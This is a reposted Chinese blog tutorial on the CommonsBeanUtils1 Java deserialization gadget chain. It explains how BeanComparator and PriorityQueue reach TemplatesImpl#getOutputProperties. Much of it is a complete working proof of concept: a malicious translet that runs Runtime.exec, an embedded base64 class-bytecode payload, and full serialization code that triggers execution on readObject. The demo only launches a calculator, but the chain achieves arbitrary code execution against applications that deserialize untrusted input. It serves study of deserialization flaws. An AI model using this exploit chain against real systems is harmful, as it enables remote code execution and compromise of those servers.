0


【java安全】CommonsBeanUtils1

文章目录

【java安全】CommonsBeanUtils1

前言

在之前我们学习了

java.util.PriorityQueue

,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了

java.io.Comparator

接口的

compare()

方法,进而执行恶意反序列化操作

我们能不能找到除了之前提到的

TransformingComparator

类以外的其他可以利用的

java.util.Comparator

对象?我们需要了解一下

Commons Beanuitls

Apache Commons Beanutils

在找可用的

Comparator

之前,我们需要知道一下

Apache Commons Beanutils

,它是

Apache Commons

工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法

什么是javaBean?

finalpublicclassCat{privateString name ="catalina";publicStringgetName(){return name;}publicvoidsetName(String name){this.name = name;}}

javaBean就是一种标准化的java对象,成员变量为

private

,提供了对成员变量的

getter()

setter()

方法,符合驼峰命名法

Commons Beanutils

中提供了一个静态方法

PropertyUtils.getProperty()
publicstaticObjectgetProperty(Object bean,String name)throwsIllegalAccessException,InvocationTargetException,NoSuchMethodException{returnPropertyUtilsBean.getInstance().getProperty(bean, name);}

这个方法可以可以调用任意javaBean对象的

getter()

方法

例如:

PropertyUtils.getProperty(newCat(),'name')

这个方法会调用

Cat

对象的

getName()

方法,使用该方法可以调用任意对象的

getter

方法

BeanComparator

我们上文说想要找到其他的实现

java.util.Comparator

的类

commons-beanutils

中有一个

BeanComparator

类:

先看看构造方法:

publicBeanComparator(){this((String)null);}publicBeanComparator(String property){this(property,ComparableComparator.getInstance());}publicBeanComparator(String property,Comparator<?> comparator){this.setProperty(property);if(comparator !=null){this.comparator = comparator;}else{this.comparator =ComparableComparator.getInstance();}}

构造方法可以为:

property

属性赋值,这个很重要后面会用到

然后看看

compare()

方法:

packageorg.apache.commons.beanutils;publicclassBeanComparator<T>implementsComparator<T>,Serializable{publicintcompare(T o1,T o2){if(this.property ==null){returnthis.internalCompare(o1, o2);}else{try{Object value1 =PropertyUtils.getProperty(o1,this.property);Object value2 =PropertyUtils.getProperty(o2,this.property);returnthis.internalCompare(value1, value2);}catch(IllegalAccessException var5){thrownewRuntimeException("IllegalAccessException: "+ var5.toString());}catch(InvocationTargetException var6){thrownewRuntimeException("InvocationTargetException: "+ var6.toString());}catch(NoSuchMethodException var7){thrownewRuntimeException("NoSuchMethodException: "+ var7.toString());}}}}

我们注意一下它的

compare(T o1, T o2)

方法,当

property==null

时,不会调用

PropertyUtils.getProperty()
if(this.property ==null){returnthis.internalCompare(o1, o2);}

PropertyUtils.getProperty()

Object value1 =PropertyUtils.getProperty(o1,this.property);Object value2 =PropertyUtils.getProperty(o2,this.property);

它会去调用

o1、o2

对象的名为property的属性值的

getter

方法

这里很重要,加入

o1

TemplatesImpl

对象的话这里是可以构造反序列化利用链的

我们先来回顾一下前面

TemplatesImpl

中的调用链:

TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#defineTransletClasses()->TransletClassLoader#defineClass()

这里的

getOutputProperties()

就是

getter

方法的形式,并且它会调用

newTransformer()

触发恶意字节码执行。因此,如果我们

PropertyUtils.getProperty(o1, this.property)

第一个形参传入:

TemplatesImpl

对象,并且第二个参数

property

传入值

outputProperties

那么就会调用

TemplatesImpl#getOutputProperties()

方法了

我们可以简单测试一下:

我们先构造一个恶意字节码的类

HelloTemplatesImpl

:(注意需要继承

AbstractTranslet

,这样才有效)

importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;publicclassHelloTemplatesImplextendsAbstractTranslet{publicvoidtransform(DOM document,SerializationHandler[] handlers)throwsTransletException{}publicvoidtransform(DOM document,DTMAxisIterator iterator,SerializationHandler handler)throwsTransletException{}publicHelloTemplatesImpl()throwsIOException{Runtime.getRuntime().exec("calc");//构造对象会弹出计算器}}

我们将其编译为字节码并且base64编码一下

然后编写利用链:

importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importorg.apache.commons.beanutils.BeanComparator;importjava.lang.reflect.Field;importjava.util.Base64;publicclassCommonsBeanUtils1{publicstaticvoidsetFieldValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);}publicstaticvoidmain(String[] args)throwsException{byte[] bytes =Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{bytes});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());BeanComparator beanComparator =newBeanComparator("outputProperties");
        beanComparator.compare(obj,null);}}

image-20230802163106973

确实弹出了计算器,说明这是对的

如何调用

BeanComparator#compare()

方法?

我们这里可以继续使用

PriorityQueue

类,它的

readObject()

方法可以触发排序等函数,最终调用

comparator

变量的

compare()

方法,并且形参传入

TemplatesImpl

对象(注意讲

BeanComparator

property

设置为

outputProperties

PriorityQueue#siftDownUsingComparator()

comparator.compare((E) c,(E) queue[right])>0)

当反序列化时调用

PriorityQueue#readObject()

方法,最终调用

comparator#compare()

,然后调用

TemplatesImpl#getOutputProperties()

方法

构造POC

首先常规构造

TemplatesImpl

对象:

TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{bytes});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());

然后构造

BeanComparator

类,我们先不为

property

赋值,防止提前调用

PropertyUtils.getProperty()

:

BeanComparator comparator = new BeanComparator();

然后创建

PriorityQueue

,队列大小为2,将

comparator

成员变量赋值为

BeanComparator

对象:

PriorityQueue queue =newPriorityQueue(2, comparator);

然后添加2个无关紧要的值进

queue

中(之所以这么做是因为防止

add()

提前触发

comparator.compare()

)

queue.add(1);
queue.add(1);

添加完成之后我们再将

queue

的值(用来给compare方法传入

TemplatesImpl

对象)以及

BeanComparator

property

赋值为

outputProperties
setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{obj, obj});

完整POC

importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importorg.apache.commons.beanutils.BeanComparator;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.Base64;importjava.util.PriorityQueue;publicclassCommonsBeanUtils1{publicstaticvoidsetFieldValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);}publicstaticvoidmain(String[] args)throwsException{byte[] bytes =Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{bytes});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());BeanComparator comparator =newBeanComparator();PriorityQueue queue =newPriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{obj, obj});ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}

调用可以弹出计算器:

image-20230802173336884

调用链

PriorityQueue#readObject()heapify();siftDown(i,(E) queue[i]);siftDownUsingComparator(k, x);BeanComparator#compare(TemplatesImplObj,)PropertyUtils.getProperty(TemplatesImplObj,"outputProperties")TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()...defindClass()
标签: java 安全 web安全

本文转载自: https://blog.csdn.net/qq_61839115/article/details/132068191
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。

“【java安全】CommonsBeanUtils1”的评论:

还没有评论